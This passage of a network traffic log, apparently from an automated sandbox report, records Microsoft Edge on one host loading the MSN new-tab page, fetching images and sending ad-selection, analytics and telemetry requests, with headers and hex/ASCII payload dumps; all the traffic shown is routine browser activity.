2024-11-23 04:02:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49915	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:57 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=76065 Expires: Sun, 24 Nov 2024 01:10:42 GMT Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close
2024-11-23 04:02:57 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49912	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:57 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=208372 Expires: Mon, 25 Nov 2024 13:55:49 GMT Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close
2024-11-23 04:02:57 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49914	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:57 UTC	515	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=94279 Expires: Sun, 24 Nov 2024 06:14:16 GMT Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close
2024-11-23 04:02:57 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49916	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:57 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=293075 Expires: Tue, 26 Nov 2024 13:27:32 GMT Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close
2024-11-23 04:02:57 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49913	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:57 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=191695 Expires: Mon, 25 Nov 2024 09:17:52 GMT Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close
2024-11-23 04:02:57 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49911	3.168.73.83	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	1012	OUT	GET /b2?rn=1732334574869&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=21DC5826412B689A12D14D66402C691D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1A22a02efe758d6a15abe3f1732334575; XID=1A22a02efe758d6a15abe3f1732334575
2024-11-23 04:02:57 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 23 Nov 2024 04:02:57 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 d298e3c61b79ba9798cab3920faa7aa0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 X-Amz-Cf-Id: syP0NV6szMbYNqXPW3CqBvfIai1tRNUL-ESc-icjqtfjTp0gX50U8Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49910	20.96.153.111	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=21DC5826412B689A12D14D66402C691D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=a217db8ade8f491eeb5b81d3894174cb HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
2024-11-23 04:02:57 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 04:02:56 GMT Connection: close
2024-11-23 04:02:57 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49909	20.50.80.214	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732334574867&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1
2024-11-23 04:02:57 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 34 3a 30 32 3a 35 34 2e 38 36 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 32 61 39 35 65 34 30 2d 66 30 65 62 2d 34 64 66 66 2d 38 66 30 39 2d 39 65 61 61 30 39 66 63 65 30 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 38 38 34 32 39 35 36 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-23T04:02:54.862Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"e2a95e40-f0eb-4dff-8f09-9eaa09fce03a","epoch":"1988429564"},"app":{"locale
2024-11-23 04:02:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=23b7b9649a224fa5a7d9c6118ce98bda&HASH=23b7&LV=202411&V=4&LU=1732334577550; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 04:02:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3448397e4704414cb7bb88984fedb43a; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 04:32:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2683 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 04:02:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49917	20.110.205.119	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:57 UTC	1261	OUT	GET /c.gif?rnd=1732334574868&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=46462d4fbb474e0d92404563aece9897&activityId=46462d4fbb474e0d92404563aece9897&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D6BD8FCA1E324A11A7C1D2CDE9E69056&MUID=21DC5826412B689A12D14D66402C691D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1; SM=T
2024-11-23 04:02:58 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=21DC5826412B689A12D14D66402C691D; domain=.msn.com; expires=Thu, 18-Dec-2025 04:02:58 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=21DC5826412B689A12D14D66402C691D; domain=c.msn.com; expires=Thu, 18-Dec-2025 04:02:58 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 30-Nov-2024 04:02:58 GMT; path=/; SameSite=None; Secure; Set-Cookie: 